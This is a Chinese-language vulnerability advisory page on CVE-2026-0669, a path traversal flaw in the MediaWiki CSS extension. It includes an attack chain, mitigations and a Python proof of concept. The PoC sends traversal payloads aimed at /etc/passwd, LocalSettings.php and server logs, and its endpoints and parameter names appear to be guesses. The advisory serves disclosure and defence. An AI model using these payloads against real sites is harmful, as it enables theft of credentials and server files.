IPBUF安全漏洞报告
English
CVE-2026-0669 CVSS 7.5 高危

CVE-2026-0669 MediaWiki CSS扩展路径遍历漏洞

披露日期: 2026-01-07
来源: c4f26cc8-17ff-4c99-b5e2-38fc1793eacc

漏洞信息

漏洞编号
CVE-2026-0669
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MediaWiki CSS extension

相关标签

路径遍历CVE-2026-0669MediaWikiCSS扩展文件包含信息泄露高危漏洞Wikimedia

漏洞概述

CVE-2026-0669是MediaWiki的CSS扩展中存在的一个高危路径遍历漏洞,CVSS评分达到7.5分。该漏洞由于CSS扩展在处理文件路径时未能正确限制路径名到受限目录,导致攻击者可以通过构造特殊的路径序列(如../)来访问Web根目录之外的文件。攻击者无需任何认证即可利用此漏洞,成功利用可导致敏感文件泄露,包括配置文件、源代码、凭据文件等机密信息。此漏洞影响MediaWiki的1.44、1.43和1.39三个主要版本。由于MediaWiki是全球广泛使用的开源Wiki软件,该漏洞可能影响大量部署了该软件的组织和个人用户。攻击者可通过发送特制的HTTP请求来利用此漏洞,无需用户交互,攻击复杂度低,具有较高的实际威胁性。

技术细节

该路径遍历漏洞存在于MediaWiki的CSS扩展组件中。在MediaWiki的正常架构中,CSS文件通常存储在特定的安全目录下,应用程序会验证用户请求的文件路径是否在允许的目录范围内。然而,由于CSS扩展在处理用户请求的文件路径时缺乏充分的输入验证,攻击者可以通过在文件路径中插入路径遍历序列(如../)来突破目录限制。攻击者可能利用类似/skins/css?action=raw&lang=../includes/DefaultSettings这样的请求,尝试读取Web服务器根目录之外的文件。成功利用此漏洞后,攻击者能够读取服务器上的任意文件内容,包括但不限于:数据库配置文件(包含数据库凭据)、用户认证信息、API密钥、其他应用程序的敏感配置等。漏洞的根本原因在于CSS扩展使用了用户可控的输入来构造文件路径,而没有对输入进行充分的清理和验证。

攻击链分析

STEP 1
1
攻击者识别目标网站使用的MediaWiki版本,确认其CSS扩展存在路径遍历漏洞(版本1.39、1.43或1.44)
STEP 2
2
攻击者构造恶意HTTP请求,在CSS扩展的文件路径参数中插入路径遍历序列(如../../../../etc/passwd)
STEP 3
3
攻击者发送特制请求到MediaWiki的CSS端点(如/skins/css或/api.php),利用未过滤的用户输入访问受限目录之外的文件
STEP 4
4
服务器解析路径遍历序列,将请求重定向到Web根目录之外的敏感文件(如/etc/passwd或LocalSettings.php)
STEP 5
5
服务器返回敏感文件内容,攻击者成功获取系统配置文件、数据库凭据或其他机密信息
STEP 6
6
攻击者利用获取的凭据进一步渗透系统,可能导致数据库泄露、账户接管或完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-0669 MediaWiki CSS Extension Path Traversal PoC # Affected Versions: MediaWiki CSS extension 1.44, 1.43, 1.39 # CVSS: 7.5 (High) import requests import sys def test_path_traversal(base_url): """ Test for path traversal vulnerability in MediaWiki CSS extension """ # Common MediaWiki CSS endpoint patterns endpoints = [ "/skins/css", "/w/skins/css", "/skin.php", "/api.php?action=parse&text={{:TemplateName}}" ] # Path traversal payloads to test payloads = [ "../../../../../../../../etc/passwd", "../../../includes/DefaultSettings.php", "../../../../LocalSettings.php", "../.htaccess", "../../../../../../../var/log/apache2/access.log" ] print(f"[*] Testing {base_url} for CVE-2026-0669") print(f"[*] Target: MediaWiki CSS Extension Path Traversal\n") for endpoint in endpoints: for payload in payloads: # Try different parameter names params = [ {"action": "raw", "lang": payload}, {"file": payload}, {"path": payload}, {"stylesheet": payload} ] for param in params: try: url = base_url + endpoint response = requests.get(url, params=param, timeout=10) # Check for successful file read if response.status_code == 200: content = response.text # Check for sensitive file signatures if any(sig in content for sig in [ "root:x:", # /etc/passwd "$wgDB", # LocalSettings.php "<?php", # PHP files "# Apache", # .htaccess "<?xml" # XML config files ]): print(f"[!] VULNERABLE!") print(f"[+] URL: {url}?{param}") print(f"[+] Response length: {len(content)}") print(f"[+] First 200 chars: {content[:200]}\n") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") continue print("[*] Test completed. No obvious vulnerability detected.") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/wiki/") sys.exit(1) base_url = sys.argv[1].rstrip('/') test_path_traversal(base_url)

影响范围

MediaWiki CSS extension 1.44
MediaWiki CSS extension 1.43
MediaWiki CSS extension 1.39

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在Web服务器层面配置规则,禁止包含路径遍历序列的请求访问CSS端点;2) 临时禁用MediaWiki的CSS扩展功能;3) 通过访问控制列表限制对/api.php和/skins/css等端点的访问;4) 启用ModSecurity等WAF规则来检测和阻止../等路径遍历字符;5) 检查服务器日志,关注异常的CSS文件请求行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表